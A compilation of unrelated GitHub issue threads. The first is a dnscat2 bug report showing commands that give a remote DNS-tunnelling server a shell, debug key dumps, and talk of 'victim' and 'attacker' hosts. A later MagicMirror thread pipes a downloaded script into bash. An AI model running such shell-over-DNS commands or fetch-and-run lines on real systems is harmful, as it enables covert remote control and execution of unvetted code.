Client side --exec seems to break PSK auth

I'm running a server at ns.brandonenright.net and when I run a client like so it connects and verifies just fine:
$ ./dnscat --secret=33155a8e3ca44756a88a61ad669afb35 ns.brandonenright.net
Creating DNS driver:
 domain = ns.brandonenright.net
 host   = <IP_ADDRESS>
 port   = 53
 type   = TXT,CNAME,MX
 server = <IP_ADDRESS>

** Peer verified with pre-shared secret!

Session established!

However if I try to exec a shell with the client then verification fails:
$ ./dnscat -e /bin/bash --secret=33155a8e3ca44756a88a61ad669afb35 ns.brandonenright.net
[[ WARNING ]] :: Starting: /bin/sh -c '/bin/bash'
[[ WARNING ]] :: Started: /bin/bash (pid: 18684)
Creating DNS driver:
 domain = ns.brandonenright.net
 host   = <IP_ADDRESS>
 port   = 53
 type   = TXT,CNAME,MX
 server = <IP_ADDRESS>
[[ FATAL ]] :: Received FIN: (reason: 'Session killed: Invalid authenticator (pre-shared secret)') - closing session
[[ WARNING ]] :: exec driver shut down; killing process 18684
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating

Hmm, I'm unable to repro.. I run the server with:
$ ruby ./dnscat2.rb --dnsport=53531 --firehose --secret=33155a8e3ca44756a88a61ad669afb35 test.com
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on <IP_ADDRESS>:53531
[domains = test.com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=33155a8e3ca44756a88a61ad669afb35 test.com

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53531 --secret=33155a8e3ca44756a88a61ad669afb35

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.

dnscat2> Received:<PHONE_NUMBER>0000000033dda9c933aa3942b1c9798e904c373c2ba4d4b36d.38b767056f01b5044ef0c4d5f52f47331ee2b042c81c22bea1cd755f2e51.88607f40f91e5d48d9d7a8926b.test.com (CNAME)
Creating Encryptor with secret: 33155a8e3ca44756a88a61ad669afb35
New window created: 1
history_size (session) => 1000
Not decrypting data (incoming data seemed to be cleartext): ["40220330380000000033dda9c933aa3942b1c9798e904c373c2ba4d4b36d38b767056f01b5044ef0c4d5f52f47331ee2b042c81c22bea1cd755f2e5188607f40f91e5d48d9d7a8926b"]
Setting their public key: 33dda9c933aa3942b1c9798e904c373c2ba4d4b36d38b767056f01b5044ef0c4 d5f52f47331ee2b042c81c22bea1cd755f2e5188607f40f91e5d48d9d7a8926b
Setting my public key: 8e87dcce81d60bbd4d721bf3f8147607b17d882de03bded32efb4c32c8bd0c3d 7f6b4f1003960bb409b07aa71420961301e6778c2ee955eab207fa63862f3c2b
Returning an unencrypted response
Sending:  5b31033038000000008e87dcce81d60bbd4d721bf3f8147607b17d882de03bd.ed32efb4c32c8bd0c3d7f6b4f1003960bb409b07aa71420961301e6778c2ee9.55eab207fa63862f3c2b.test.com
Received:  1b2e033038962021760b650000d68748a1e436dc0aad42ea3c0443d38e4b.e248a8d34e91508cd9223530032a5abc24031b.test.com (CNAME)
Successfully authenticated the session
Sending:  d81d033038362dfff13520ffff84f41c1d0d1f0921ce7ecd333447b9dbe122f.42e3a414a14b96cd40782c6ce52ad0b525b.test.com
Received:  c4880030380a122ba05a6b0001f5bbc5bec97c1c2eefab65fc4caf7c571e.9020e14b17f9453d454a72842bb85a47270ac8c804d7175c31.test.com (CNAME)
Session 1 Security: ENCRYPTED AND VERIFIED!

And on the client:
$ make debug && ./dnscat --dns server=<IP_ADDRESS>,port=53531,domain=test.com --secret=33155a8e3ca44756a88a61ad669afb35 -d --exec /bin/sh
*** Debug build complete
Creating DNS driver:
 domain = test.com
 host   = <IP_ADDRESS>
 port   = 53531
 type   = TXT,CNAME,MX
 server = <IP_ADDRESS>
[[ INFO ]] :: Setting session->name to /bin/sh
[[ WARNING ]] :: Starting: /bin/sh -c '/bin/sh'
[[ WARNING ]] :: Started: /bin/sh (pid: 11916)
[[ INFO ]] :: Sending DNS query for:<PHONE_NUMBER>0000000033dda9c933aa3942b1c9798e904c373c2ba4d4b36d.38b767056f01b5044ef0c4d5f52f47331ee2b042c81c22bea1cd755f2e51.88607f40f91e5d48d9d7a8926b.test.com to <IP_ADDRESS>:53531
[[ INFO ]] :: DNS response received (346 bytes)
[[ INFO ]] :: Received a CNAME response: 5b31033038000000008e87dcce81d60bbd4d721bf3f8147607b17d882de03bd.ed32efb4c32c8bd0c3d7f6b4f1003960bb409b07aa71420961301e6778c2ee9.55eab207fa63862f3c2b.test.com
my_private_key: 7ce637e9d940fb7c6063fe75c4cfbb85aec4b34ee2b156a00f37ec4719bfcc3a
my_public_key: 33dda9c933aa3942b1c9798e904c373c2ba4d4b36d38b767056f01b5044ef0c4d5f52f47331ee2b042c81c22bea1cd755f2e5188607f40f91e5d48d9d7a8926b
their_public_key: 8e87dcce81d60bbd4d721bf3f8147607b17d882de03bded32efb4c32c8bd0c3d7f6b4f1003960bb409b07aa71420961301e6778c2ee955eab207fa63862f3c2b

shared_secret: 6f80f9a889c70109252eaa7ed46cf3e3227fa30344a3be16f87144d1763d0ea5
my_authenticator: b1aed27c44b22de56ca0ec0f61c3cdb4583378e4b1e6426e47213ce55e66a00b
their_authenticator: 2acb1e93bdf5094d4aae2d30f74a37b0af572ded699aa8a57c02367d061432b5

my_write_key: 141bc1a7a3c51c92949a47351de94215ae409ea4a64d0fa1162a8422afb5a255
my_mac_key: fa2a4f6b59f144845f5cb307544c5cab4f6e6194e360de520fb1d716441ea504
their_write_key: 7f1b3dd7a56232bc0958204e489b1c1c30ac82664f675d3bbec7e337ec07dd02
their_mac_key: 645a21e725043805c7bb66752add7c63699560d0daeabd4094429a2301e41e75
[[ INFO ]] :: Sending DNS query for: 1b2e033038962021760b650000d68748a1e436dc0aad42ea3c0443d38e4b.e248a8d34e91508cd9223530032a5abc24031b.test.com to <IP_ADDRESS>:53531
[[ INFO ]] :: DNS response received (248 bytes)
[[ INFO ]] :: Received a CNAME response: d81d033038362dfff13520ffff84f41c1d0d1f0921ce7ecd333447b9dbe122f.42e3a414a14b96cd40782c6ce52ad0b525b.test.com

** Peer verified with pre-shared secret!

Hmm, I set up an environment slightly more like yours, and repro'd. Weird! I'll keep digging. :)

Looks like something is going wrong in the parsing:
Tried to set a bad authenticator
Expected: ["50149ec5aa460e67e61c51f85141b1bee2b1e46ec69fa9021bffc98f66a5e366"]
Received: ["0000000000000000000000000000000000000000000000000000000000000000"]
So weird that this only happens for --exec sessions...

Ahh, the problem is parsing the arguments in C. If you put "-e /bin/bash" at the end it'll work. :)

It should be fixed.
It's not the cleanest solution, though, so I'm going to leave this open for now.

Hello! Wondering if you have experienced this issue at all since. I am trying to run something similar to what Brandon was doing in an training environment and keep running into the "Invalid Authenticator". Some additional details:

Everything works fine if I add the Server IP of the attacker, however I would like the victim host to query the DNS servers in between.
There are no issues until I try to create the shell.
I have tried running with -e.

Thanks! The tool is so great.

Spent some time troubleshooting and the issue seems to be with my DNS infrastructure in the test environment. I started running dnscat2 w/o authentication and was able to open shells, however running commands would cause DNS rcode errors. I would send screenshots but I'm running things on a network w/o internet connection currently. I can pull things if you need me to another time.
The DNS environment works w/o issues under normal circumstances. Have you encountered any situations where you had trouble running something based on the configuration of the DNS server?


Cannot add blog entries for registered user

I logged as host, created a new page, added the blog. Modified permission for registered users to view/edit. created a blog (as Host), created entry (as host). It worked.
On a separate browser I logged as user, went to the page with the blog. created a blog (worked!). Added entry (no errors, and there is a line into the log table that blog was added) but I do not see the entry on the page. Check the blog table but I only see the entries as host.

I can confirm this is an issue and need to be resolved by implementing the entityid pattern for the custom auth policy. Thank you for reporting.

this has now been resolved in the code


new indent at each save in js multiline html string

Hi there,
I have an issue with multiline html string in my

maybe some bugs, you can comment the block

maybe some bugs, you can comment the block

What do you mean by "comment the block" ?

https://github.com/junstyle/prettier-plugin-django#features
ignore the block

Thank you !


Support ignoring certain statements from being traced

jdbc instrumentation support for ignoreForTracing param

Just saw #144. That is better solution. Hopefully @will-gtv rebases it and can be merged soon 🤞


How to change the img in the header

I want to change the img but I can't find where to change it.I already deleted the logo-for-dark-bg.svg in /public.

I didn't find the use of the avatar.svg in /public. Where was this img originally used?

Header image
The image in the header is defined in components/Header.js by a svg tag embedded in html language.
<svg
    width="24"
    height="24"
    viewBox="0 0 24 24"
    fill="none"
    xmlns="http://www.w3.org/2000/svg"
>
    <rect
        width="24"
        height="24"
        className="fill-current text-black dark:text-white"
    />
    <rect width="24" height="24" fill="url(#paint0_radial)" />
    <defs>
        <radialGradient
            id="paint0_radial"
            cx="0"
            cy="0"
            r="1"
            gradientUnits="userSpaceOnUse"
            gradientTransform="rotate(45) scale(39.598)"
        >
            <stop stopColor="#CFCFCF" stopOpacity="0.6" />
            <stop offset="1" stopColor="#E9E9E9" stopOpacity="0" />
        </radialGradient>
    </defs>
</svg>

You can change this part if you want a customization.
Avatar
The avatar is defined in layouts/default.js at about line 55
<Image
    alt={BLOG.author}
    width={24}
    height={24}
    src="/avatar.svg"
    className="rounded-full"
/>

But it seems that in a recent commit this part has been changed to  src={`https://gravatar.com/avatar/${emailHash}`} so the avatar.svg in the /public folder is not correctly used (at least I fix this problem after I modified the code I've mentioned above) I don't know if this is a bug or a deliberate change.

thank you for your explain, I have one more question is that the Table - inline I created in Notion cannot show in the blog, as well as the TODO - list. I didn't use any other part of Notion yet, but is there any solution to show those thing in the blog?


Unbound: 1.9.5 -> 1.10.0

Motivation for this change
Version bump.
https://github.com/NLnetLabs/unbound/blob/release-1.10.0/doc/Changelog
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x ] Fits CONTRIBUTING.md.

This should target staging.


Side nav component

Changes
Adding new SideNav component. This will be first part of it.

[ delete] branch

Additional information

You may refer to this ticket

could you also create a side-navigation-long-lived branch and target that as the base branch?


MGMT 9312: UI add creation date to infraenv list

Related to https://issues.redhat.com/browse/MGMT-9312
Depends to previous PR: https://github.com/stolostron/console/pull/1469

/hold
this is a 2.6 feature, please dont merge yet

/unhold
/ok-to-test


feat: create ops virtual module for each extension

This commit adds a "virtual ops module" for each extension with ops.
All the enabled ops provided by the module can be imported like so:
import { op_name1, op_name2 } from "ext:<name>/ops";

Closes https://github.com/denoland/deno_core/issues/223

A few more things to consider:

What is we have an op (op_foo) that is defined in foo ext in deno repo, but then an embedder disables that op and provides another extension that defines that op (is that actually even possible?) - in such case the origin of the op is different and JS code that imports the op function would crash
Still not sure what to do with enabled/disabled ops

Discussed offline with @mmastrac and we're going to start with a single "vritual module" for all ops. We need to measure impact on having multiple modules on startup time and memory usage.


Adding tests (WIP)

Hey @AyoubElk I added a couple commits to merge main into this and try to fix jest in CI so it is green now. What's left to get this in?

Hey @AyoubElk I added a couple commits to merge main into this and try to fix jest in CI so it is green now. What's left to get this in?

Thanks for fixing the CI!
I was waiting on removing the tests that are too specific/coupled with the code and replace them by e2e tests before merging this.
I guess we could merge this now to get some coverage and remove them later. Feel free to merge it if you agree.

I think it'd be good to merge now so what's here so far at least can check the other stuff we want to do! Good examples for contributors to start from too!


fix: fix #11881

What kind of change does this PR introduce? (check at least one)

[x] Bugfix
[ ] Feature
[ ] Code style update
[ ] Refactor
[ ] Build-related changes
[ ] Other, please describe:

Does this PR introduce a breaking change? (check one)

[ ] Yes
[x] No

If yes, please describe the impact and migration path for existing applications:
The PR fulfills these requirements:

[x] It's submitted to the dev branch for v2.x (or to a previous version branch), not the master branch
[x] When resolving a specific issue, it's referenced in the PR's title (e.g. fix #xxx[,#xxx], where "xxx" is the issue number)
[x] All tests are passing: https://github.com/vuejs/vue/blob/dev/.github/CONTRIBUTING.md#development-setup
[x] New/updated tests are included

If adding a new feature, the PR's description includes:

[ ] A convincing reason for adding this feature (to avoid wasting your time, it's best to open a suggestion issue first and wait for approval before working on it)

Other information:

Hey devs, I notice that it's been a week since I open and create PR for this one, is there anything I'm missing ? Maybe it's too tiny for you guys , let me know if there's any info I can provide or we don't need this so I can close this one, thanks 😉

Hey devs, I notice that it's been a week since I open and create PR for this one, is there anything I'm missing ? Maybe it's too tiny for you guys , let me know if there's any info I can provide or we don't need this so I can close this one, thanks 😉


working swerve into dev

swerve pid needs to be tuned need to fix inverted gyro (incl. testing for field-relative rotation and auto)

pid is fine, rest is merged in from feat/target-lock


Model attribute stop_evaluating does not work

Hello,
I am using Tensorflow 2.15 and the attribute stop_evaluating does not work.
In your model, if you try to call tf.print(self.stop_evaluating) it will result in an AttributeError. Same anywhere in the test_step() method or an evaluation callback. Also, if you try to set in a callback self.model.stop_evaluating = True, in on_test_batch_end() for instance, it will not stop the evaluation.
I tried to understand why.
As far as I can tell the implementation of the stop_training and stop_evaluation in the class TensorFlowTrainer is similar.
In fit():
self.stop_training = False
self.make_train_function()
callbacks.on_train_begin()
training_logs = None
logs = None
initial_epoch = self._initial_epoch or initial_epoch
for epoch in range(initial_epoch, epochs):
    self.reset_metrics()
    callbacks.on_epoch_begin(epoch)
    with epoch_iterator.catch_stop_iteration():
        for step, iterator in epoch_iterator.enumerate_epoch():
            callbacks.on_train_batch_begin(step)
            logs = self.train_function(iterator)
            logs = self._pythonify_logs(logs)
            callbacks.on_train_batch_end(step, logs)
            if self.stop_training:
                break

In evaluate():
self.make_test_function()
self.stop_evaluating = False
callbacks.on_test_begin()
logs = None
self.reset_metrics()
with epoch_iterator.catch_stop_iteration():
    for step, iterator in epoch_iterator.enumerate_epoch():
        callbacks.on_test_batch_begin(step)
        logs = self.test_function(iterator)
        logs = self._pythonify_logs(logs)
        callbacks.on_test_batch_end(step, logs)
        if self.stop_evaluating:
            break

The only difference I see is that the compile() method, from the base Trainer class, and inherited by TensorFlowTrainer only include the self.stop_training and not the self.stop_evaluating :
self.jit_compile = jit_compile
self.run_eagerly = run_eagerly
self.stop_training = False
self.compiled = True
self._loss_tracker = metrics_module.Mean(name="loss")
self.steps_per_execution = steps_per_execution

I don't know if this is the right lead as I am not an expert.
Thanks in advance!


Tag queries or turn light on/off

See: https://forum.universal-devices.com/topic/35041-tag-queries-or-turn-light-onoff/
I have noticed a few discrepancies with some of the Tag parameters that doesn't follow the WEB sight. If a query or set light on/off is done the 'Seconds Since Update' always goes to 3600 until its regular update.
If going out of range  'Seconds Since Update' will restart at 0 when 'Out Of Range' goes True. On the WEB site the count continues with no reset.
Also the 'Signal dbm' doesn't reflect properly.
I was thinking of using the 'Seconds Since Update' parameter in some programs but it is not consistent.
Just a little feedback.
Thanks Gary

I have noticed a few discrepancies with some of the Tag parameters that doesn't follow the WEB sight. If a query or set light on/off is done the 'Seconds Since Update' always goes to 3600 until its regular update.

I confirmed this so will have to debug further.

If going out of range 'Seconds Since Update' will restart at 0 when 'Out Of Range' goes True. On the WEB site the count continues with no reset.

Interesting because I grab the "lastComm" value given to me by the hub and set GV13 "Last Update Time" to reflect that value, but then I set GV14 "Seconds Since Update" based on current time.  So need to change that to use seconds since lastComm.

Also the 'Signal dbm' doesn't reflect properly.

That's strange, I see mine are of by 2-5 each as well.  I'll have to review my logs.

First issue fixed, added new issues for other two.


Offline exporting module not showing 'JPEG' and 'PDF' export options

Hi, when i use the highcharts-offline-exporting module then i only see the 'Print', 'PNG' and 'SVG' exporting options. But the 'JPEG' and 'PDF' exporting options are missing. The following is how I use the modules.
import React, { PropTypes } from 'react';
import ReactHighcharts from 'react-highcharts';
require('highcharts-drilldown')(ReactHighcharts.Highcharts);
require('highcharts-exporting')(ReactHighcharts.Highcharts);
require('highcharts-offline-exporting')(ReactHighcharts.Highcharts);

However, if I remove the highcharts-offline-exporting module, then I can see all the 5 exporting options.

+1

Any ideas on this? Still not working :(

i have stopped using this library. I am now using highcharts directly. See the following blog post
https://www.highcharts.com/blog/post/192-use-highcharts-to-create-charts-in-react/
This issue is not there if you use the actual highcharts node package.

Alright I'll do the same. Thanks for the link.

Closing and there has been no activity in this issue for a while.
if this is still relevant, please feel free to reopen


Feature Request: add explicit support for double (multiple) inequalities

This will improve readability:
As is:

df[(8 < df.foo + df.bar) & (df.foo + df.bar <= 42)].measure.sum()

To be:

df[8 < df.foo + df.bar <= 42].measure.sum()

This would require changes to the python language to change the order of operations :)
You can use .query for cases like this:
In [8]: df = pd.DataFrame(np.random.randint(0, 10, size=(10, 2)), columns=['A', 'B'])

In [9]: df.head()
Out[9]:
   A  B
0  9  0
1  4  6
2  7  9
3  8  3
4  2  7

In [10]: df.query('4 < A < 8')
Out[10]:
   A  B
2  7  9
8  6  0

In [11]: df.query('4 < A + B < 8')
Out[11]:
   A  B
5  4  2
8  6  0

See also #14138


When uploading an image, I'm getting this error "FileNotFoundError at /" from apache2 server

When trying to upload an image in apache 2 server localhost (http://<IP_ADDRESS>:8000). It's returning an error:
What steps should I follow to make it work? ( I already followed README.md instructions and run setup.sh)
but when i give python3 manage.py runserver by using terminal its working properly.
but from apache2 configuration the given error comes again and again

After done the configuration in apache2 server everything is working fine but pre trained model not found error
I checked the error log its given internal server error /

Hey, can you try to install setup.sh commands manually? It will help to troubleshoot.

manually and through terminal i have to done pre trianed model
through commandline " python3 manage.py runserver 0:8000 " everything is working fine
but through apache2 server it will not consider the right path "internal server error / "
i upload attachements above
FileNotFoundError: [Errno 2] No such file or directory: 'models/u2net/u2net.pth'

Ah. When I tried to deploy it using Gunicorn, I faced such issues. If I'm remembering correctly, I just moved the models directory to somewhere else where it worked. Try to move the entire models directory elsewhere like a directory before or put it into another subdirectory as I don't exactly remember where I put that folder. I'm sure that it will work fine. Good luck with that.

I faced the same issue, did you figure out how to resolve it? @rameshjega


VCT log monitoring options

Orb server should be able to operate in two modes:

store/keep all the entries from the log
without storing entries from the log

Done with https://github.com/trustbloc/orb/issues/1240


Chore - add test harness. fix example config.

:tada: This PR is included in version 1.0.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Not (easily?) possible to only send one log file, impossible if that file is not in /var/log

The ask:

A way to exclude /var/log and all other log directories implicitly included by default, and only ingest explicitly included files
A way to ingest logs that are either in other directories, or are symlinks from /var/log/... to other directories.
Fix that even exclusion rules like /var/log/*, /var/log/*/*, /var/log/*/*/* will still include some log files from those directories for reasons I do not understand

I have a special one-off host that I only want to ingest one log from, and the only way I could achieve it was to create permissions so that the job I was running could log to a file in /var/log.  logdna-agent refuses to pick up a file in /home, or even a symlink from /var/log/... to a file in /home

how do you run agent? standalone app/service or in container/pod?

It's running in a Ubuntu 20.04 VM (no containerization involved), installed using the instructions for .deb Linux hosts from the logdna apt repo.

here is the logdna.env file:
# cat /etc/logdna.env
LOGDNA_INGESTION_KEY=xxxxxxxxxxxxxxxxxx
LOGDNA_LOG_DIRS=/mnt/my_log_dir
LOGDNA_INCLUSION_RULES=/mnt/my_log_dir/*
LOGDNA_EXCLUSION_RULES=/var/log/*

Test:
mkdir -p /mnt/my_log_dir
systemctl restart logdna-agent
touch /mnt/my_log_dir/my.log
echo "test" >> /mnt/my_log_dir/my.log
echo "test" >> /mnt/my_log_dir/my.log

My team mate @seano-playvs is going to take this ticket from here.  As I understand it, that solution did allow collecting a log file outside of /var/log, but did not successfully exclude the files in /var/log.  Sean can tell you more.


Consider switching to async-raft.

https://github.com/async-raft/async-raft is An implementation of the Raft distributed consensus protocol using the Tokio framework.

also see https://github.com/nlv8/agreed

hey @PsiACE,
I am the original author of raft-frp, thanks for crediting me that was a pleasant surprise :)
I stopped developing the raft-frp when I found that async-raft fitted my use case. Ultimately, the async-raft API ergonomy was very close to what I had in mind, and it's codebase was in my sense a lot cleaner. I kept running into troubles with tikv-raft versioning, and it was a pain to set up, let alone have working properly,  so I ultimately gave up. I still think that a wrapper layer like riteraft has a place alongside asynraft, and I would not switch to async-raft if I were you. The main selling point for tikv-raft is that it is a well tested (being the replication backbone for tikv) and "production ready", so until async-raft reaches that point (I'm sure it will, and I'm sticking to it), a library like this will be useful.
good luck!

@MarinPostma I really appreciate your outstanding work.

I still think that a wrapper layer like riteraft has a place alongside asynraft, and I would not switch to async-raft if I were you.

I sincerely thank you for your suggestions and agree with your views. I like async-raft and think it makes sense to maintain asynchronous wrappers. If it is ready for production, I will consider doing some work, but for now it can only be listed in the plan list.


⚠ Jenkins Plugins Artifactory has degraded performance

In 6625caf, Jenkins Plugins Artifactory (https://get.jenkins.io/plugins/artifactory/) experienced degraded performance:

HTTP code: 200
Response time: 1236 ms

Resolved: Jenkins Plugins Artifactory performance has improved in 7fe54e2 after 27 minutes.


Add zkSync to networks.c

Description
Add zkSync Mainnet and zkSync Sepolia to networks.c
Changes include

[ ] Bugfix (non-breaking change that solves an issue)
[ ] New feature (non-breaking change that adds functionality)
[ ] Breaking change (change that is not backwards-compatible and/or changes current functionality)
[ ] Tests
[ ] Documentation
[ X ] Other (for changes that might not fit in any category)

Hey @ischasny ,
Can you please update your PR to follow the guidelines ?
(64px icon only is required, and should be renamed)

Hey @ischasny , Can you please update your PR to follow the guidelines ? (64px icon only is required)

@vforgeoux-ledger - done

@ischasny shouldn't we name the network zkSync instead of ZKsync ?

@ischasny shouldn't we name the network zkSync instead of ZKsync ?

@vforgeoux-ledger  This is the official branding as of the last week.

@ischasny Please check the CI error, your icon doesn't respect the guidelines as it doesn't have a white background

@ischasny Please check the CI error, your icon doesn't respect the guidelines as it doesn't have a white background

Thank  you for pointing this out - fixed.

Included in https://github.com/LedgerHQ/app-ethereum/pull/598


Calendar

Since the last update from the mirror, my calendar module (default) no longer shows any appointments

Are errors shown in the console? Which node version are you using?

No errors node 18.18.0

node: /usr/lib/arm-linux-gnueabihf/libstdc++.so.6: version `GLIBCXX_3.4.26' not found (required by node)
pi@raspberrypi:~ $
Using Node -v yet

can you do
lsb_release -a
I think you are running on buster..  which takes some special work for V20 I think... testing now..
the development testing is not on raspian

No LSB modules are available.
Distributor ID: Raspbian
Description:    Raspbian GNU/Linux 10 (buster)
Release:        10
Codename:       buster
pi@raspberrypi:~ $

how can I update to Bullseye

ok, hang on...

the node distro provides a different process for install.. supposed to work on buster...   still working on getting my buster system up...
please try the new temp script listed at the top of the README (at the warning)
https://github.com/sdetweil/MagicMirror_scripts

Also having a problem with calendar module. This is reported in the log
[02.10.2023 14:52.14.250] [INFO]  Calendar-Fetcher: Broadcasting 0 events from ######.
[02.10.2023 14:52.14.252] [ERROR] Whoops! There was an uncaught exception...
[02.10.2023 14:52.14.254] [ERROR] ReferenceError: fetch is not defined
    at fetchCalendar (/magicmirror2/modules/default/calendar/calendarfetcher.js:59:3)
    at CalendarFetcher.startFetch (/magicmirror2/modules/default/calendar/calendarfetcher.js:104:3)
    at Class.createFetcher (/magicmirror2/modules/default/calendar/node_helper.js:80:11)
    at Class.socketNotificationReceived (/magicmirror2/modules/default/calendar/node_helper.js:21:9)
    at Socket.<anonymous> (/magicmirror2/js/node_helper.js:104:11)
    at Socket.emit (node:events:513:28)
    at Socket.emitUntyped (/magicmirror2/node_modules/socket.io/dist/typed-events.js:69:22)
    at /magicmirror2/node_modules/socket.io/dist/socket.js:704:39
    at processTicksAndRejections (node:internal/process/task_queues:78:11)

ReferenceError: fetch is not defined

check your node version, you must have a version >= 18 for the new release

Finally got around to updated yesterday and no longer loads. Getting the same error for calendar fetching.
[03.10.2023 08:43.02.919] [LOG]   Create new calendarfetcher for url: https://www.calendarlabs.com/ical-calendar/ics/39/Canada_Holidays.ics - Interval: 3600000
[03.10.2023 08:43.02.921] [ERROR] Whoops! There was an uncaught exception...
[03.10.2023 08:43.02.927] [ERROR] ReferenceError: fetch is not defined
    at fetchCalendar (/home/gillisrg/MagicMirror/modules/default/calendar/calendarfetcher.js:58:3)
    at CalendarFetcher.startFetch (/home/gillisrg/MagicMirror/modules/default/calendar/calendarfetcher.js:103:3)
    at Class.createFetcher (/home/gillisrg/MagicMirror/modules/default/calendar/node_helper.js:80:11)
    at Class.socketNotificationReceived (/home/gillisrg/MagicMirror/modules/default/calendar/node_helper.js:21:9)
    at Socket.<anonymous> (/home/gillisrg/MagicMirror/js/node_helper.js:104:11)
    at Socket.emit (node:events:513:28)
    at Socket.emitUntyped (/home/gillisrg/MagicMirror/node_modules/socket.io/dist/typed-events.js:69:22)
    at /home/gillisrg/MagicMirror/node_modules/socket.io/dist/socket.js:703:39
    at process.processTicksAndRejections (node:internal/process/task_queues:78:11)

I went through and updated node, ended up on v19.9.0 (jumped from 16.2). Tried restarting things but getting the error every time.
lsb_release -a provides
No LSB modules are available.
Distributor ID:	Raspbian
Description:	Raspbian GNU/Linux 11 (bullseye)
Release:	11
Codename:	bullseye

after you update node, you have to redo the npm install and in each module that requires it..
best to use my upgrade script.. see
https://github.com/sdetweil/MagicMirror_scripts

Ran the script you provided, and updated. Did not get any errors. Restarted magicmirror and same issue.
upgrade.log

no.. you ran in test mode
doing test run = true, NO updates will be applied!
the second link is apply (to actually DO the changes)
and because u are partially installed, you need to use force instead of apply
(as the script will not update a same version system be default)

that's on me. I just reran, and applied. still no luck.
upgrade.log

@gregimagines
you did the apply path, not force

user requested to apply changes

the upgrade command is
bash -c  "$(curl -sL https://raw.githubusercontent.com/sdetweil/MagicMirror_scripts/master/upgrade-script.sh)" apply

change the word apply to force
my script will NOT upgrade a system already at the current level by default

That solved it. Thank you so much! Hopefully others will benefit from this too.

awesome.. thanks for the feedback

after you update node, you have to redo the npm install and in each module that requires it..
best to use my upgrade script.. see https://github.com/sdetweil/MagicMirror_scripts

im trying to run your script to upgrade to v25 but my node is vers 12.12.12 and when i run update it tells me im on the latest version. running Bulseye.

My issue is Solved, After a new Installation

Can be closed

@gukuyarek  change the apply to force on the end of the update command

@gukuyarek change the apply to force on the end of the update command

still node version 12
Node.js installation Done! version=v12.22.12
Check current NPM installation ...
npm is not installed.
Installing npm ...
Extracting templates from packages: 100%
npm WARN EBADENGINE Unsupported engine {
npm WARN EBADENGINE   package<EMAIL_ADDRESS>npm WARN EBADENGINE   required: { node: '>=0.8', npm: '1' },
npm WARN EBADENGINE   current: { node: 'v12.22.12', npm: '7.5.2' }
npm WARN EBADENGINE }
evalmachine.:36
and when trying to run MM get this error
/MagicMirror $ npm start
npm ERR! code EJSONPARSE
npm ERR! path /home/pi/MagicMirror/package.json
npm ERR! JSON.parse Unexpected token "<" (0x3C) in JSON at position 3350 while parsing near "..."colors": "^1.4.0",\n<<<<<<< Updated upst..."
npm ERR! JSON.parse Failed to parse JSON data.
npm ERR! JSON.parse Note: package.json must be actual JSON, not just JavaScript.
npm ERR! A complete log of this run can be found in:
npm ERR!     /home/pi/.npm/_logs/2023-10-06T16_50_31_538Z-debug.log

@gukuyarek  yes  sadly the platform is is messed up, w no real way to fix it.
backup your mm system, see my scripts
https://github.com/sdetweil/MagicMirror-backup-restore
and rebuild the SD card and install mm again, then restore the config and modules.


Add certificate profile

Notes:
Changing the profile will not delete and re-issue the certificate.
I'm not sure how would I write a test with the self-signed provider. I have tested it with IPA and it works as expected.

[citest]

please rebase on top of latest master branch

Notes: Changing the profile will not delete and re-issue the certificate.

That sounds like the right behavior.

I'm not sure how would I write a test with the self-signed provider.

It sounds like this feature isn't applicable to self-signed provider?

I have tested it with IPA and it works as expected.

There is a test for ipa - https://github.com/linux-system-roles/certificate/blob/master/tests/tests_basic_ipa.yml#L13 - can you add a profile to one of these requests?

[citest commit:b7d1b659eacf1ba2b014c138fb1a161fe283529d]

This is disappointing. I will try to get things running locally and push again. Apologies.

This is disappointing. I will try to get things running locally and push again. Apologies.

Looks like your ide/editor is not putting a newline at EOF?

https://linux-system-roles.github.io/contribute.html - so you can use tox -e yamllint to check - just be aware that if you are using fedora, you will need to install tox using pip - pip install tox --user - then install the tox-lsr plugin - because the Fedora RPM tox package does not allow user plugins
the contribute page also has instructions about how to run tests locally using qemu/kvm

[citest commit:fbabc95a3771b1d3698970d130e36f20a83313a0]

Hi @richm,
The last CI failure was due to RHEL/CentOS 7 not outputting the profile in getcert list. The new test is quite brittle. I'm think that we might be better off without it. What do you think?

Hi @richm,
The last CI failure was due to RHEL/CentOS 7 not outputting the profile in getcert list. The new test is quite brittle. I think that we might be better off without it. What do you think?

Can the test be made less brittle?  We need some way to test this functionality (in addition, the test serves as a form of documentation for end users who may be trying to use this feature, and want to see a working example).
If there really is no way to test this functionality in an automated way with our current test framework, then we will need some detailed documentation about how a QE team can verify and validate the feature.

[citest commit:8b9c5868eb3199b188c5b7814e3f4df0165d8455]

@richm I think this ready now. Not sure what is why the CI is still pending.

@richm I think this ready now.

yeah - lgtm - @rjeffman

Not sure what is why the CI is still pending.

fixed

please rebase the PR on top of the latest master branch

please rebase the PR on top of the latest master branch

@richm rebased.

@ooraini and @richm, I'll be running a few tests against this PR today and tomorrow. On a first look, it looks good.

[citest commit:d55578fe212cbb03c1edfbbf391459d37ff2f4f6]

ping

closing due to inactivity


SCHEUDULED INCIDENT PAST

Hello,MultilineEmpty spaceIndentationhello blockquote [start_datetime:1706011440] [end_datetime:1706011500]

This is comment 1

This is comment 1

This is comment 1

This is resolved status


How can I configure the ports of svclb-haproxy-ingress pods?

Hi @jcmoraisjr ,
How can I change the port here for lb-tcp-80 and lb-tcp-443?
The reason I want to change them because I have another nginx running in my kube-system namespace with the same port and because of this I cn't dpeloy it to the default ports.

